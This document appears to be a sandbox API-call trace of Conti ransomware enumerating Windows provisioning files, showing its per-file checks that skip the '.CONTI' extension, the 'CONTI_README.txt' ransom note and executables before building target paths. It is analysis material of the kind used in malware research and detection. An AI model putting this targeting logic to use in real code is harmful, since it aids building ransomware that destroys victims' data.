	[0109.365] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.365] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\360__Connections_Cellular_Ermak RMS (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.365] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ce, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="361__C~1.PRO")) returned 1
	[0109.365] lstrcmpiW (lpString1="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.365] lstrcmpiW (lpString1="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.365] StrStrIW (lpFirst="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.365] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.365] lstrlenW (lpString="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 78
	[0109.365] GetProcessHeap () returned 0x1720000
	[0109.365] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x152) returned 0x181e4b8
	[0109.365] lstrcpyW (in: lpString1=0x181e4b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.365] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.365] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\361__Connections_Cellular_MegaFon (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.365] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1c6, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="362__C~1.PRO")) returned 1
	[0109.368] lstrcmpiW (lpString1="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.368] lstrcmpiW (lpString1="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.368] StrStrIW (lpFirst="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.368] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.368] lstrlenW (lpString="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.368] GetProcessHeap () returned 0x1720000
	[0109.368] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x181e618
	[0109.368] lstrcpyW (in: lpString1=0x181e618, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.368] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.368] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\362__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.368] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="363__C~1.PRO")) returned 1
	[0109.368] lstrcmpiW (lpString1="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.368] lstrcmpiW (lpString1="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.368] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.368] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.368] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.368] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.369] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.369] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.369] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.369] StrStrIW (lpFirst="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.369] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.369] lstrlenW (lpString="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.369] GetProcessHeap () returned 0x1720000
	[0109.369] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x656d6d8
	[0109.369] lstrcpyW (in: lpString1=0x656d6d8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.369] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.369] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\363__Connections_Cellular_MTS (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.369] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="364__C~1.PRO")) returned 1
	[0109.369] lstrcmpiW (lpString1="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.369] lstrcmpiW (lpString1="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.369] StrStrIW (lpFirst="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.369] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.369] lstrlenW (lpString="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.369] GetProcessHeap () returned 0x1720000
	[0109.369] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x6b80e38
	[0109.369] lstrcpyW (in: lpString1=0x6b80e38, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.369] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.369] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\364__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.369] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d4f224, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d4f224, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d4f224, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="365__C~1.PRO")) returned 1
	[0109.369] lstrcmpiW (lpString1="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.369] lstrcmpiW (lpString1="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.369] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.370] StrStrIW (lpFirst="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.370] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.370] lstrlenW (lpString="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 74
	[0109.370] GetProcessHeap () returned 0x1720000
	[0109.370] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x14a) returned 0x656d988
	[0109.370] lstrcpyW (in: lpString1=0x656d988, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.370] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.370] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\365__Connections_Cellular_NCC (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.370] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2a1, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="366__C~1.PRO")) returned 1
	[0109.370] lstrcmpiW (lpString1="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.370] lstrcmpiW (lpString1="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.370] StrStrIW (lpFirst="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.371] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.371] lstrlenW (lpString="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml") returned 93
	[0109.371] GetProcessHeap () returned 0x1720000
	[0109.371] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x170) returned 0x17ca228
	[0109.371] lstrcpyW (in: lpString1=0x17ca228, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.371] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.371] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\366__Connections_Cellular_NTC (New Telephone Co) (Russian Federation)_i0$(__MVID)@WAP.provxml"
	[0109.371] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90d7548b, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90d7548b, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90d7548b, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", cAlternateFileName="367__C~1.PRO")) returned 1
	[0109.371] lstrcmpiW (lpString1="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.371] lstrcmpiW (lpString1="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.371] StrStrIW (lpFirst="367__Connections_Cellular_OJSC Sibirtelecom (Russian Federation)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
